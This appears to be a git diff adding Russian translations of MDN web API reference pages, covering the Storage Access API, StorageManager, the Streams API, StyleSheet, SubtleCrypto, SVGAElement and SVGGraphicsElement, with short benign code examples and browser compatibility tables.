The semantics around third-party cookie blocking policies in particular differ from browser to browser, but the core functionality is similar: cross-origin resources embedded in a third-party context are not given access to the same cookies and site storage that they would have access to when loaded in a first-party context.

+ +

These cookie blocking policies are known to break embedded cross-origin content that requires access to its first-party storage. As an example, federated logins often require access to authentication cookies stored in first-party storage, and will require the user to sign in on each site separately (or completely break) if those cookies are not available. In the case of breakage, site owners have often encouraged users to add their site as an exception or to disable the policy entirely. As a consequence, users who wish to continue to interact with embedded content are forced to greatly relax their blocking policy for resources loaded from all embedded origins and possibly across all websites.

+ +

The Storage Access API is intended to solve this problem; embedded cross-origin content can request unrestricted access to its first-party storage on a site-by-site basis via the {{domxref("Document.requestStorageAccess()")}} method, and check whether it already has access via the {{domxref("Document.hasStorageAccess()")}} method.

+ +

In addition, sandboxed {{htmlelement("iframe")}}s cannot be granted storage access by default for security reasons. The API therefore also adds the allow-storage-access-by-user-activation sandbox token. The embedding website needs to add this to allow storage access requests to be successful, along with allow-scripts and allow-same-origin to allow it to call the API, and execute in an origin that can have cookies:

+ +
<iframe sandbox="allow-storage-access-by-user-activation
+                 allow-scripts
+                 allow-same-origin">
+  ...
+</iframe>
+ +

The API is designed to limit the potential storage exceptions to origins for which the user has shown an intent to interact. This is enforced through the following constraints:

+ + + +

The browser may decide to involve the user in the decision of whether to grant an incoming storage access request. Specifics regarding the lifetime of a storage grant and the circumstances under which the browser may decide to inform the user are currently being worked through and will be announced once ready.

+ +

Подсказки для пользователя

+ +

When requestStorageAccess() is called by an embedded, cross-origin document, the user agent may choose to involve the user in the decision of whether to grant storage access to the requesting origin. Prompting heuristics currently vary across the two implementers of the Storage Access API — Safari shows prompts for all embedded tracking content that has not previously received storage access, while Firefox only prompts users after a tracking origin has requested storage access on more than a threshold number of sites. See {{domxref("Document.requestStorageAccess()")}} for more details.

+ +

Отичия реализации в Safari

+ +

Although the API surface is the same, websites using the Storage Access API should expect differences in the level and extent of storage access they receive between Firefox and Safari. This is caused by differences in the storage access policies implemented in the two browsers. Design properties unique to Firefox are summarized here:

+ + + +

Документация новой политики доступа к хранилищу Firefox по блокировки отслеживающих кук детально описана в разделе предоставления доступа к хранилищу.

+ +

Методы Storage Access API

+ +

API методы реализованы в интерфейсе {{domxref("Document")}}:

+ +
+
{{domxref("Document.hasStorageAccess()")}}
+
Returns a {{jsxref("Promise")}} that resolves with a boolean value indicating whether the document has access to its first-party storage.
+
{{domxref("Document.requestStorageAccess()")}}
+
Returns a {{jsxref("Promise")}} that resolves if the access to first-party storage was granted, and rejects if access was denied.
+
+ +
+

Note: User interaction propagates to the Promise returned by both of these methods, allowing the callers to take actions that require user interaction without requiring a second click from the user. For example, a caller could open a pop-up window from the resolved Promise without triggering Firefox’s pop-up blocker.

+
+ +

Расширение <iframe> sandbox

+ +

{{htmlelement("iframe")}} sandbox появился новый признак, allow-storage-access-by-user-activation, который позволяет изолированому <iframe> использовать Storage Access API для запроса доступа к хранилищу.

+ +

Спецификации

+ +

API на стадии обсуждения — стандартизация не начата. Сейчас Вы можете ознакомиться с подробной спецификацией API в блоге Apple Introducing Storage Access API и WHATWG HTML issue 3338 — Proposal: Storage Access API.

+ +

Поддержка браузерами

+ + + +

{{Compat("api.Document.hasStorageAccess")}}

+ +

{{Compat("api.Document.requestStorageAccess")}}

+ +

Смотрите также

+ +

Использоваие Storage Access API

diff --git a/files/ru/web/api/storagemanager/estimate/index.html b/files/ru/web/api/storagemanager/estimate/index.html new file mode 100644 index 0000000000..ff509f32fd --- /dev/null +++ b/files/ru/web/api/storagemanager/estimate/index.html @@ -0,0 +1,78 @@ +--- +title: StorageManager.estimate() +slug: Web/API/StorageManager/estimate +tags: + - метод +translation_of: Web/API/StorageManager/estimate +--- +

{{securecontext_header}}{{APIRef("Storage")}}

+ +

The estimate() method of the {{domxref("StorageManager")}} interface asks the Storage Manager to obtain quota and usage information for the current origin. This method operates asynchronously, so it returns a {{jsxref("Promise")}} which resolves once the information is available. The promise's fulfillment handler receives as an input a {{domxref("StorageEstimate")}} with the usage and quota data.

+ +

Синтаксис

+ +
var estimatePromise = StorageManager.estimate();
+ +

Параметры

+ +

None.

+ +

Возвращаемый результат

+ +

A {{jsxref('Promise')}} that resolves to an object which conforms to the {{domxref('StorageEstimate')}} dictionary. This dictionary contains estimates of how much space is available to the origin or app (in {{domxref("StorageEstimate.quota")}}, as well as how much is currently used (in {{domxref("StorageEstimate.usage")}}). These are not exact numbers; between compression, deduplication, and obfuscation for security reasons, they will not be precise.

+ +

You may find that the quota varies from app to app based on factors such as the frequency with which the user visits it, commonly-known site popularity data, and so forth.

+ +

Примеры

+ +

In this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user.

+ +

HTML content

+ +
<p>
+  You're currently using about <span id="percent">
+  </span>% of your available storage.
+</p>
+
+ +

JavaScript content

+ +
navigator.storage.estimate().then(function(estimate) {
+  document.getElementById("percent").innerHTML =
+      (estimate.usage / estimate.quota).toFixed(2);
+});
+
+ +

Результат

+ +

{{ EmbedLiveSample('Example', 600, 40) }}

+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Storage','#dom-storagemanager-estimate','estimate()')}}{{Spec2('Storage')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{Compat("api.StorageManager.estimate")}}
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/storagemanager/index.html b/files/ru/web/api/storagemanager/index.html new file mode 100644 index 0000000000..c28ba798a3 --- /dev/null +++ b/files/ru/web/api/storagemanager/index.html @@ -0,0 +1,53 @@ +--- +title: StorageManager +slug: Web/API/StorageManager +tags: + - API + - Interface + - Persistence + - Quotas + - Reference + - Secure context + - Storage + - Storage API + - StorageManager + - Usage +translation_of: Web/API/StorageManager +--- +

{{securecontext_header}}{{SeeCompatTable}}{{APIRef("Storage")}}

+ +

StorageManager является частью Storage API и предоставляет интерфейс для управления правами на хранение данных и для получения объема данных, доступного для хранения. Доступ к интерфейсу можно получить через {{domxref("navigator.storage")}} или через {{domxref("WorkerNavigator.storage")}}.

+ +

Методы

+ +
+
{{domxref("StorageManager.estimate()")}} {{securecontext_inline}}
+
Возвращает объект {{domxref("StorageEstimate")}}, который содержит используемый и максимальный объем данных (квоту) для вашего сайта.
+
{{domxref("StorageManager.persist()")}} {{securecontext_inline}}
+
Возвращает {{jsxref('Promise')}}, который принимает значение true в случае, когда браузер имеет возможность хранить данные вашего сайта.
+
{{domxref("StorageManager.persisted()")}} {{securecontext_inline}}
+
Возвращает {{jsxref('Promise')}}, который принимает значение true в случае, когда сайт получил возможность хранить данные в браузере.
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Storage','#storagemanager','StorageManager')}}{{Spec2('Storage')}}Initial definition.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.StorageManager")}}

diff --git a/files/ru/web/api/streams_api/index.html b/files/ru/web/api/streams_api/index.html new file mode 100644 index 0000000000..94959b7eba --- /dev/null +++ b/files/ru/web/api/streams_api/index.html @@ -0,0 +1,141 @@ +--- +title: Streams API +slug: Web/API/Streams_API +translation_of: Web/API/Streams_API +--- +
{{SeeCompatTable}}{{APIRef("Streams")}}
+ +

Streams API (АПИ обработки потоков) позволяет програмно получить доступ с помощью JavaScript к полученным по сети потокам данных и обработать их по желанию разработчика.

+ +

Концепция и использование

+ +

Потоковая передача данных предполагает разбивку ресура, который вы хотите получить через сеть, на мелкие кусочки и затем их обработку часть за частью. Это то, что браузеры делают в любом случае получения ассетов, чтобы показать их на страницах — видео буфер и другие ресурсы доступные для воспроизведения, и иногда это заметно на изображениях, загружающихся частями.

+ +

Но методы работы с этим и данные никогда прежде не были доступны для JavaScript. Раньше, если мы хотели обработать часть ресурса, нам все равно пришлось бы загрузить весь файл (будь то видео, текстовый файл и т.п.), мы были бы обязаны скачать файл целиком, дождаться пока он будет приведен к необходимому формату и только потом работать с файлом после его полной загрузки.

+ +

С помощью потоков доступных в JavaScript меняется все — вы можете начать обрабатывать данные бит за битом как только данные появляются на стороне клиента, без необходимости генерировать буффер, строку или какой либо объект из потока.

+ +

+ +

Но это не все преимущества — вы можете отловить процессы старта и завершения потока, связывать потоки в цепочки, обрабатывать ошибки или прерывать их если это необходимо, реагировать на скорость с которой поток считывается.

+ +

Основное использование потоков крутиться вокруг создания ответов доступными в виде потоков. Например, тело ответа {{domxref("Body")}} возвращенного успешным fetch запросом может быть представлено как {{domxref("ReadableStream")}}, и вы можете прочитать его используя ридер полученный методом {{domxref("ReadableStream.getReader()")}}, отменить его с помошью {{domxref("ReadableStream.cancel()")}}, и тп.

+ +

Более сложные примеры задействуют создание ваших собственных  потоков с помощью конструктора {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}, например чтобы обработать данные внутри service worker.

+ +

Вы также можете записывать данные в потоки используя {{domxref("WritableStream")}}.

+ +
+

Заметка: вы можете найти больше информации о теории и практике использования потоков в следующих статьях — Концепты API потоков , Использование потоков на чтение, и Использование потоков на запись.

+
+ +

Интерфейсы

+ +

Потоки чтения данных

+ +
+
{{domxref("ReadableStream")}}
+
Представляет собой считываемый поток данных. Он может быть использован чтобы обработать потоки ответов от Fetch API, или созданный разработчиком поток (например произвольный {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}).
+
{{domxref("ReadableStreamDefaultReader")}}
+
Представляет собой считывателя, который может быть использован чтобы считать данные поставляемые из сети (например fetch запрос).
+
{{domxref("ReadableStreamDefaultController")}}
+
Представляет собой контроллер позволяющий контролировать состояние {{domxref("ReadableStream")}} и очереди внутри него. Является контроллером по умолчанию для не байтовых потоков.
+
+ +

Writable streams

+ +
+
{{domxref("WritableStream")}}
+
Предоставляет стандартную абстракцию, известную как раковина, для записи потоков по месту назначения. Этот объект идет вместе со встроенными методами контроля обратного потока и созданием очередей.
+
{{domxref("WritableStreamDefaultWriter")}}
+
Представляет запись потока по умолчанию, которая может использоваться для записи фрагментов данных в записываемый поток.
+
{{domxref("WritableStreamDefaultController")}}
+
Представляет собой контроллер состояния {{domxref("WritableStream")}}. При создании WritableStream, создается также соответствующий экземпляр WritableStreamDefaultController.
+
+ +

Дополнительные API и операции по работе с потоками

+ +
+
{{domxref("ByteLengthQueuingStrategy")}}
+
Предоставляет встроенную стратегию длины байт-очереди, которая может быть использована при построении потоков.
+
{{domxref("CountQueuingStrategy")}}
+
Предоставляет встроенную стратегию организации очередей подсчета чанков, которая может использоваться при построении потоков.
+
+ +

Дополнения к другим API

+ +
+
{{domxref("Request")}}
+
При создании нового объекта типа Request, вы можете добавить {{domxref("ReadableStream")}} в свойство body его словаря RequestInit.  Этот обект типа Request может быть отправлен в  {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, чтобы начать загрузку потока.
+
{{domxref("Body")}}
+
Ответ {{domxref("Body")}} возвращенный успешному fetch запросу вывешивается по умолчанию как {{domxref("ReadableStream")}}, и может иметь получателя прикрепленного к нему и тп.
+
+ +

Интерфейсы в дополнение к ByteStream

+ +
+

Важно: данные интерфейсы пока не реализованы, и были подняты вопросы о том, находятся ли детали спецификации в достаточно законченном состоянии для их реализации. Со временем это может измениться

+
+ +
+
{{domxref("ReadableStreamBYOBReader")}}
+
Represents a BYOB ("bring your own buffer") reader that can be used to read stream data supplied by the developer (e.g. a custom {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} constructor).
+
{{domxref("ReadableByteStreamController")}}
+
Контроллер позволяющий обрабатывать состояние {{domxref("ReadableStream")}} и внутреннюю очередь. Байтовые контроллеры для байтовых потоков.
+
{{domxref("ReadableStreamBYOBRequest")}}
+
Represents a pull into request in a {{domxref("ReadableByteStreamController")}}.
+
+ +

Примеры

+ +

Мы создали папку с примерами, которые идут вместе с документацией к API потоков — смотрите mdn/dom-examples/streams. Можно найти такие примеры как:

+ + + +

Примеры от других разработчиков:

+ + + +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Streams')}}{{Spec2('Streams')}}Первоначальное определение.
+ +

Совместимость с браузерами

+ + + +

Поток записи данных

+ +

{{Compat("api.WritableStream")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/stylesheet/disabled/index.html b/files/ru/web/api/stylesheet/disabled/index.html new file mode 100644 index 0000000000..6533b03241 --- /dev/null +++ b/files/ru/web/api/stylesheet/disabled/index.html @@ -0,0 +1,54 @@ +--- +title: StyleSheet.disabled +slug: Web/API/StyleSheet/disabled +tags: + - Свойство + - Стили +translation_of: Web/API/StyleSheet/disabled +--- +
{{APIRef("CSSOM")}}
+ +

Свойство disabled интерфейса {{domxref("StyleSheet")}} определяет будет ли таблица стилей защищена от применения в документе

+ +

Тааблицу стилей можно отключить, установив для этого свойства значение true, или, если она неактивна, с помощью альтернативной таблице стилей. Заметьте, что disabled == false не гарантирует применение таблице стилей (она может быть удалена из документа, к примеру).

+ +

Синтаксис

+ +
bool = stylesheet.disabled
+
+ +

Пример

+ +
// Если таблица стилей отключена...
+if (stylesheet.disabled) {
+  // ... применять стили в строке.
+}
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSSOM", "#dom-stylesheet-disabled", "StyleSheet.disabled")}}{{Spec2("CSSOM")}}Нет изменений {{SpecName("DOM2 Style")}}.
{{SpecName("DOM2 Style", "stylesheets.html#StyleSheets-StyleSheet-disabled", "StyleSheet.disabled")}}{{Spec2("DOM2 Style")}}Первое определение.
+ +

Поддержка браузерами

+ + + +

{{Compat("api.StyleSheet.disabled")}}

diff --git a/files/ru/web/api/stylesheet/index.html b/files/ru/web/api/stylesheet/index.html new file mode 100644 index 0000000000..07740ac283 --- /dev/null +++ b/files/ru/web/api/stylesheet/index.html @@ -0,0 +1,68 @@ +--- +title: StyleSheet +slug: Web/API/StyleSheet +tags: + - Интерфейсы + - Объектная модель CSS + - Референсы + - Таблицы стилей +translation_of: Web/API/StyleSheet +--- +
{{APIRef("CSSOM")}} Объектная модель CSS
+ +

Объект, реализующий интерфейс StyleSheet, представляет отдельную таблицу стилей. Таблица стилей CSS далее будет представлена более специализированным интерфейсом  {{domxref("CSSStyleSheet")}}.

+ +

Свойства

+ +
+
{{domxref("StyleSheet.disabled")}}
+
Свойство имеет тип {{domxref("Boolean")}}, принимающий одно из двух значений и определяющий, применяется или нет текущая таблица стилей.
+
{{domxref("StyleSheet.href")}} {{readonlyInline}}
+
Свойство возвращает строку {{domxref("DOMString")}}, указывающую расположение таблицы стилей. Свойство не изменяется.
+
{{domxref("StyleSheet.media")}} {{readonlyInline}}
+
Свойство содержит список медиа-установок{{domxref("MediaList")}} таблицы стилей и определяет медиа-устройства, для отображения на которых предназначена данная таблица. Свойство не изменяется.
+
{{domxref("StyleSheet.ownerNode")}} {{readonlyInline}}
+
Свойство возвращает ссылку на объект (узел){{domxref("Node")}}, ссылающийся на данную таблицу стилей текущего документа. Свойство не изменяется.
+
{{domxref("StyleSheet.parentStyleSheet")}} {{readonlyInline}}
+
Свойство возвращает ссылку на родительскую таблицу стилей {{domxref("StyleSheet")}}, включаюущую данную таблицу стилей; если таковой нет, возвращает значение null. Свойство не изменяется.
+
{{domxref("StyleSheet.title")}} {{readonlyInline}}
+
Свойство возвращает строку {{domxref("DOMString")}}, указывающую на заголовок  текущей таблицы стилей. Свойство не изменяется.
+
{{domxref("StyleSheet.type")}}{{readonlyInline}}
+
Свойство возвращает строку {{domxref("DOMString")}}, указывающую на язык, используемый таблицей стилей. Свойство не изменяется.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSSOM', '#stylesheet', 'StyleSheet') }}{{ Spec2('CSSOM') }}Без изменений с {{ SpecName('DOM2 Style') }}.
{{ SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-StyleSheet', 'StyleSheet') }}{{ Spec2('DOM2 Style') }}Первоначальное определение.
+ +

Браузерная совместимость

+ + + +

{{Compat("api.StyleSheet")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/subtlecrypto/index.html b/files/ru/web/api/subtlecrypto/index.html new file mode 100644 index 0000000000..7070db0af1 --- /dev/null +++ b/files/ru/web/api/subtlecrypto/index.html @@ -0,0 +1,122 @@ +--- +title: SubtleCrypto +slug: Web/API/SubtleCrypto +translation_of: Web/API/SubtleCrypto +--- +

{{APIRef("Web Crypto API")}}

+ +

Интерфейс SubtileCrypto представляет набор криптографическиз примитивов. Эземпляр SubtileCrypto доступен как {{domxref("Crypto.subtle")}}, в контексте window ({{domxref("Window.crypto")}}).

+ +
+

Per the spec: "Developers making use of the SubtleCrypto interface are expected to be aware of the security concerns associated with both the design and implementation of the various algorithms provided. The raw algorithms are provided in order to allow developers maximum flexibility in implementing a variety of protocols and applications, each of which may represent the composition and security parameters in a unique manner that necessitate the use of the raw algorithms."

+
+ +

Свойства

+ +

Интерфейс не наследует и не определяет собственные свойства.

+ +

Методы

+ +
+
{{domxref("SubtleCrypto.encrypt()")}}
+
Возврщает {{jsxref("Promise")}} с данными, зашифрованными на основании исходного текста, алгоритма шифровани и ключа, переданных в качества аргументов.
+
{{domxref("SubtleCrypto.decrypt()")}}
+
Возврщает {{jsxref("Promise")}} с исходным текстом. В качества аргументов принимает зашифрованную строку, алгоритм шифрования и ключ.
+
{{domxref("SubtleCrypto.sign()")}}
+
Возвращает {{jsxref("Promise")}} с сигнатурой, полученной на основании текста, алгоритма шифрования и ключа, переданных в качества аргументов.
+
{{domxref("SubtleCrypto.verify()")}}
+
Возврашает {{jsxref("Promise")}} с {{jsxref("Boolean")}} значением, определяющим соответствует ли переданная сигнатура тексу, алгоритму шифрования и ключу, также переданным в качества аргументов.
+
{{domxref("SubtleCrypto.digest()")}}
+
Возвращает {{jsxref("Promise")}} с хеш-суммой сгенерированной на основании алгоритма шифрования и исходного текста, переданных в качества аргументов
+
{{domxref("SubtleCrypto.generateKey()")}}
+
Возаращает {{jsxref("Promise")}} с сгенерированным {{domxref("CryptoKey")}} для симметричных алгоритмов, или {{domxref("CryptoKeyPair")}} для асимметричных алгоритмов.
+
{{domxref("SubtleCrypto.deriveKey()")}}
+
Возвращает {{jsxref("Promise")}} с сгенерированным {{domxref("CryptoKey")}}, на основе переданных в качесва аргументов мастер-ключа и алгоритма шифрования.
+
{{domxref("SubtleCrypto.deriveBits()")}}
+
Возвращает {{jsxref("Promise")}} с буфером псевдо-случайных бит, полученных на основании мастер-ключа и алгоритма шифрования, переданных в качества аргументов.
+
{{domxref("SubtleCrypto.importKey()")}}
+
Returns a {{jsxref("Promise")}} of a {{domxref("CryptoKey")}} corresponding to the format, the algorithm, the raw key data, the usages and the extractability given as parameters.
+
{{domxref("SubtleCrypto.exportKey()")}}
+
Returns a {{jsxref("Promise")}} of a buffer containing the key in the format requested.
+
{{domxref("SubtleCrypto.wrapKey()")}}
+
Returns a {{jsxref("Promise")}} of a wrapped symmetric key for usage (transfer, storage) in insecure environments. The wrapped buffer returned is in the format given in parameters, and contains the key wrapped by the given wrapping key with the given algorithm.
+
{{domxref("SubtleCrypto.unwrapKey()")}}
+
Returns a {{jsxref("Promise")}} of a {{domxref("CryptoKey")}} corresponding to the wrapped key given in parameter.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Web Crypto API', '#subtlecrypto-interface', 'SubtleCrypto') }}{{ Spec2('Web Crypto API') }}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome(37) }}{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(34) }}{{ CompatNo() }}{{ CompatUnknown() }}8
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support37{{ CompatChrome(37) }}{{ CompatGeckoMobile(34) }}{{ CompatNo }}{{ CompatUnknown() }}8
+
+ +

See also

+ + diff --git a/files/ru/web/api/svgaelement/index.html b/files/ru/web/api/svgaelement/index.html new file mode 100644 index 0000000000..22ec57c774 --- /dev/null +++ b/files/ru/web/api/svgaelement/index.html @@ -0,0 +1,142 @@ +--- +title: SVGAElement +slug: Web/API/SVGAElement +translation_of: Web/API/SVGAElement +--- +

{{APIRef("SVG")}}

+ +

{{SeeCompatTable}}

+ +

Интерфейс SVGAElement предоставляет доступ к свойствам {{ SVGElement("a") }} элемента а также к методам манипулирования ими.

+ +

Интерфейс наследует следующие интерфейсы: {{ domxref("SVGElement") }}, {{ domxref("SVGURIReference") }}, {{ domxref("SVGTests") }}, {{ domxref("SVGLangSpace") }}, {{ domxref("SVGExternalResourcesRequired") }}, {{ domxref("SVGStylable") }}, {{ domxref("SVGTransformable") }}.

+ +

Свойства

+ +

Этот интерфейс также наследует свойства от его родителя, {{domxref("SVGGraphicsElement")}} и реализует свойства из {{domxref("SVGURIReference")}} и {{domxref("HTMLHyperlinkElementUtils")}}.

+ +
+
{{domxref("SVGAElement.download")}}
+
См. {{domxref("HTMLAnchorElement.download")}}.
+
{{domxref("SVGAElement.href")}}
+
См. {{domxref("HTMLAnchorElement.href")}}.
+
{{domxref("SVGAElement.hreflang")}}
+
Является {{domxref("DOMString")}}, который отражает атрибут hreflang, указывающий язык связанного ресурса.
+
{{domxref("SVGAElement.ping")}}
+
Является {{domxref("DOMString")}}, отражая атрибут ping, содержащий список URL-адресов, разделенных пробелами, к которым, когда выполняется гиперссылка, {{HTTPMethod("POST")}} запрос с телом PING будет отправлен браузером (в фоновом режиме). Обычно используется для отслеживания.
+
{{domxref("SVGAElement.referrerPolicy")}}
+
См. {{domxref("HTMLAnchorElement.referrerPolicy")}}.
+
{{domxref("SVGAElement.rel")}}
+
См. {{domxref("HTMLAnchorElement.rel")}}.
+
{{domxref("SVGAElement.relList")}}
+
См. {{domxref("HTMLAnchorElement.relList")}}.
+
{{domxref("SVGAElement.target")}} {{readonlyInline}}
+
соответствует аттрибуту {{SVGAttr("target")}} данного элемента. 
+
{{domxref("SVGAElement.text")}}
+
Является {{domxref("DOMString")}} синонимом свойства {{domxref("Node.textContent")}}. 
+
{{domxref("SVGAElement.type")}}
+
Is a that reflects theattribute, indicating the MIME type of the linked resource. 
+ Является {{domxref("DOMString")}}, который отражает атрибут type , указывающий тип MIME связанного ресурса.
+
+ +

Методы

+ +

Этот интерфейс не имеет методов, но наследует методы от его родителя, {{domxref ("SVGGraphicsElement")}}. 

+ +

Пример

+ +

В примере ниже, атрибуту {{SVGAttr("target")}} элемента {{SVGElement('a')}} присвоено значение _blank и при клике по ссылке, при соблюдении условий, выведется сообщение в модальном окне. 

+ +
var linkRef = document.querySelector('a');
+linkRef.target ='_self';
+
+linkRef.onclick = function(){
+    if (linkRef.target == '_blank') {
+        alert("BLANK !");
+        linkRef.target = '_self';
+    }
+    else
+        alert("SORRY! not _blank");
+}
+ +

Характеристики

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоммент
{{SpecName("SVG2", "linking.html#InterfaceSVGAElement")}}{{Spec2("SVG2")}}Заменено наследование от {{domxref("SVGElement")}} {{domxref("SVGGraphicsElement")}} и удалены реализации интерфейса {{domxref("SVGTests")}}, {{domxref("SVGLangSpace")}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} и {{domxref("SVGTransformable")}} {{domxref ("HTMLHyperlinkElementUI")}}
{{SpecName('SVG1.1', 'linking.html#InterfaceSVGAElement')}}{{Spec2('SVG1.1')}}Начальное определение
+ +

Совместимость с браузером

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}9.0{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/svgaelement/svgalement.target/index.html b/files/ru/web/api/svgaelement/svgalement.target/index.html new file mode 100644 index 0000000000..c66c4a9612 --- /dev/null +++ b/files/ru/web/api/svgaelement/svgalement.target/index.html @@ -0,0 +1,106 @@ +--- +title: SVGAElement.target +slug: Web/API/SVGAElement/SVGAlement.target +translation_of: Web/API/SVGAElement/target +--- +

{{APIRef("SVGAElement")}}

+ +

 

+ +

Свойство SVGAElement.target для чтения только {{domxref ("SVGAElement")}} возвращает объект {{domxref ("SVGAnimatedString")}}, который указывает часть целевого окна, фрейма, панель, в которую открывается при активации ссылки.

+ +

Это свойство используется, когда существует множество возможных целей для конечного ресурса, например, когда родительский документ является документом HTML или HTML-документом mlti-frame.

+ +

 

+ +

Синтаксис

+ +
myLink.target = 'value';
+ +

Стоимость

+ +

{{Domxref ("SVGAnimatedString")}}, указывающий конечную цель ресурса, которая открывает документ при активации ссылки.

+ +

Значения для {{domxref ("target")}} можно увидеть here

+ +

Пример

+ +

Код  взят из "SVGAElement example code"

+ +
...
+var linkRef = document.querySelector('a');
+linkRef.target ='_blank';
+...
+ +

Характеристики

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('SVG1.1', 'text.html#InterfaceSVGAElement', 'target')}}{{Spec2('SVG1.1')}} 
+ +

Совместимость с браузером

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}9.0{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/svgaelement/target/index.html b/files/ru/web/api/svgaelement/target/index.html new file mode 100644 index 0000000000..d8e3ba1aa2 --- /dev/null +++ b/files/ru/web/api/svgaelement/target/index.html @@ -0,0 +1,59 @@ +--- +title: SVGAElement.target +slug: Web/API/SVGAElement/target +translation_of: Web/API/SVGAElement/target +--- +

{{APIRef("SVGAElement")}}

+ +

{{SeeCompatTable}}

+ +

Свойство SVGAElement.target  только для чтения. {{domxref("SVGAElement")}} возвращает объект {{domxref("SVGAnimatedString")}}, указывающий часть целевого окна, фрейма, панели, в которой откроется при активации ссылки.

+ +

Это свойство используется, когда существует множество возможных целей для конечного ресурса, например, когда родительский документ является документом HTML или HTML-документом multi-frame.

+ +

Синтаксис

+ +
myLink.target = 'value';
+ +

Значение

+ +

{{Domxref ("SVGAnimatedString")}}, укажет конечную цель ресурса для открытия документа при активации ссылки.
+ Примеры значений можно найти здесь.

+ +

Пример

+ +

Код взят из «Пример кода SVGAElement».

+ +
...
+var linkRef = document.querySelector('a');
+linkRef.target ='_blank';
+...
+ +

Характеристики

+ + + + + + + + + + + + + + +
СпецификацияСтатусКоммент
{{SpecName('SVG1.1', 'text.html#InterfaceSVGAElement', 'target')}}{{Spec2('SVG1.1')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.SVGAElement.target")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/svggraphicselement/index.html b/files/ru/web/api/svggraphicselement/index.html new file mode 100644 index 0000000000..86f9e76035 --- /dev/null +++ b/files/ru/web/api/svggraphicselement/index.html @@ -0,0 +1,62 @@ +--- +title: SVGGraphicsElement +slug: Web/API/SVGGraphicsElement +tags: + - API + - SVG +translation_of: Web/API/SVGGraphicsElement +--- +
{{APIRef("SVG")}}
+ +

Интерфейс SVGGraphicsElement представляет элементы SVG, основной целью которых является прямое отображение графики в группу.

+ +

{{InheritanceDiagram(600, 120)}}

+ +
+

Note: Этот интерфейс был введен в SVG 2 и заменяет интерфейсы  {{domxref("SVGLocatable")}} и {{domxref("SVGTransformable")}} из SVG 1.1.

+
+ +

Свойства

+ +

Этот элемент наследует свойства от своего родителя, {{domxref("SVGElement")}}.

+ +
+
{{domxref("SVGGraphicsElement.transform")}} {{ReadOnlyInline}}
+
An {{domxref("SVGAnimatedTransformList")}} reflecting the computed value of the {{cssxref("transform")}} property and its corresponding {{SVGAttr("transform")}} attribute of the given element.
+
+ +

Методы

+ +

Этот элемент наследует методы своего родителя, {{domxref("SVGElement")}}.

+ +
+
{{domxref("SVGGraphicsElement.getBBox()")}}
+
Returns a {{domxref("DOMRect")}} representing the computed bounding box of the current element.
+
{{domxref("SVGGraphicsElement.getCTM()")}}
+
Returns a {{domxref("DOMMatrix")}} representing the matrix that transforms the current element's coordinate system to its SVG viewport's coordinate system.
+
{{domxref("SVGGraphicsElement.getScreenCTM()")}}
+
Returns a {{domxref("DOMMatrix")}} representing the matrix that transforms the current element's coordinate system to the coordinate system of the SVG viewport for the SVG document fragment.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("SVG2", "types.html#InterfaceSVGGraphicsElement", "SVGGraphicsElement")}}{{Spec2("SVG2")}}Initial definition
+ +

Поддержка браузерами

+ + + +

{{Compat("api.SVGGraphicsElement")}}

